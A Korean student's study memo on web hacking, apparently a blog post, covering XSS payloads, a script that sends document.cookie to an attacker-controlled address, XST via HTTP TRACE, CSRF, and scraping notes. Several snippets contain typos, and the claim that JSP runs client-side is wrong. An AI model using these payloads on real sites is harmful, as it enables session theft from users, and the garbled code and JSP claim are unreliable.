MY MEMO
[WEB HACKING] XSS, XST, Cross site request forgery,역공학 본문
XSS공격 (cross site script)
목적 : session을 탈취하는 것
: css,js등이 웹에 구성되어있는데 js가 target
+) js : client측에서 제공하는 것(alert, onlocation등)
이러한 기능을 이용해서 web에 js구문을 추가해서 자신의 이익을 취하는 행위 (> 자동결제, 자신의 웹에 들어가게 해서 조회수를 늘리는 등)
Ex)
1. <script> alert(“xss공격!”); <script>
2. <a href = “javascript:alert(‘XSS’)”>XSS</a>
3. <img arc = “#” onerror=”alert(‘XSS공격!’);”> //image를 가지고 있지 않으면 error실행
4. ASCII코드 (Filtering이 조금 더 어려움)
<IFRAME SRC = “&#아스키코드; &#아스키코드;…width = “0” height = “0” frameborder=”0”></IFRAME>
5. <IFRAME ID = “showFrame” src = “javascript:document.write(‘
<script>
Alert(3);
Function show(){ Alert(5); }
Alert(4);
</script>
‘); width =”0” height = “0” frameborder =”0”></IFRAME>
<button id = “button” onClick=”document.getElemetById(“showFrame”).contentWindow.show()’>Button</button>
6-1. php파일을 만들어서 Database에 저장하도록 만든다면
게시판에
<iframe src = “http://IP?s=b” width=0 height=0 frameborder=”0”>
</iframe>
이렇게 쓰면 특정한 값을 읽을 때마다 Database에 값을 넣음
6-2. (hacker의 서버에) 이렇게 쿠키를 저장하도록 한다면 database에 cookie값이 저장됨
<script>
Location.href =” http://address?a=” +document.cookie;
</script>
<script>
Alert(document.cookie);
</script>
이렇게면 자신도 모르게 자신의 쿠키값을 DB에 저장
httponly (웹서버의 방어 방법)
: 현재는 client에게 자신의 쿠키값을 볼 수 없도록 함
protocol 상에서만 session값이 왔다 갔다 (볼 수 없음)
XST (cross site trace)
- 현재 목표로 하는 웹 서버가 httponly를 지원하여 xss공격이 통하지 않지만 trace protocol을 허용할 때 xml요청을 이용하여 세션을 탈취하는 공격 방법
- Putty와 같은 원격 접속 프로그램을 이용하여 trace통신이 가능한지 확인
- Trace 통신이 가능하다면 이를 이용한 세션 탈취를 감행
확인 방법)
Putty에 접속하여 DNS와 80을 입력한다면 접속가능
GET /HTTP/1.1
Host: dowellcomputer.com을 입력한다면 값을 뱉어냄
TRACE / HTTP/1.1
Host: dowellcomputer.com
만약 trace 방법이 허용되지 않는다면 자동 종료
만약 trace 방법이 허용된다면
<script type = “text/javascript”>
Function sendTrace(){
Var xmlHttp = new ActiveXObject (“Microsoft.XMLHTTP”);
xmlHttp.open(“TRACE”,”http://foo.bar”,false);
xmlHttp.send();
xml Doc = xmlHttp.resposeText;
alert(xmlDoc); //공격자는 얻어낸 쿠키 및 인증데이터 외부 전송
}
</script>
<INPUT TYPE = Button OnClick = “sendTrace();” VALUE = “Send Trace Request”>
trace방법으로 세션 탈취!
막기 : http://ideaargo.phps.kr/tc/184 & http://blog.naver.com/PostView.nhn?blogId=hot1455&logNo=60127291155
Cross site request forgery
사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격
역공학
반대로 거슬러 올라가는 공학
특정한 시스템이 있으면 기초부터 분석해서 원하는 형태로 만듬
정상 서버가 있을 때 분석과 재생성으로 다른 형태로 가공
+) 대학 사이트에 강의 시간표 관련 정보 parsing하기
시작하는 데이터 앞에다가도 붙이고 데이터 사이 마다 “를 붙인 후 .csv로 저장하면 Excel에 저장가능
Ex) “\””+Data+”\”,”+Data+”\””
Excel -> Database에 저장하기 : http://huddling.tistory.com/26
+) web언어의 차이점
HTML : markup language (정적인 언어) 단지 글과 이미지는 표현가능 but 반복문을 사용하지 못함
JSP : HTML의 단점을 보완, 동적인 언어 but 웹브라우저 상에서 동작하기 때문에 코드가 모두 공개 -> 보안에 취약
ASP.NET & PHP : JSP의 단점을 보완 서버 상에서 작동되어 모든 결과를 HTML로 만들어 보내준다.
그래서 JSP : client side programming language PHP&ASP.NET : server side programming language
'STUDYING > WEB' 카테고리의 다른 글
[AJAX] AJAX와 Servlet 개념잡기 (0) | 2017.06.13 |
---|---|
[AJAX] AJAX로 회원가입 페이지 만들기 (0) | 2017.06.13 |
[WEB HACKING] cookie와 session (0) | 2017.06.12 |
[WEB HACKING] Web Parsing을 이용하여 네이버 실시간 검색순위 가져오기 (0) | 2017.06.12 |
[JSP] 추가 (0) | 2017.06.04 |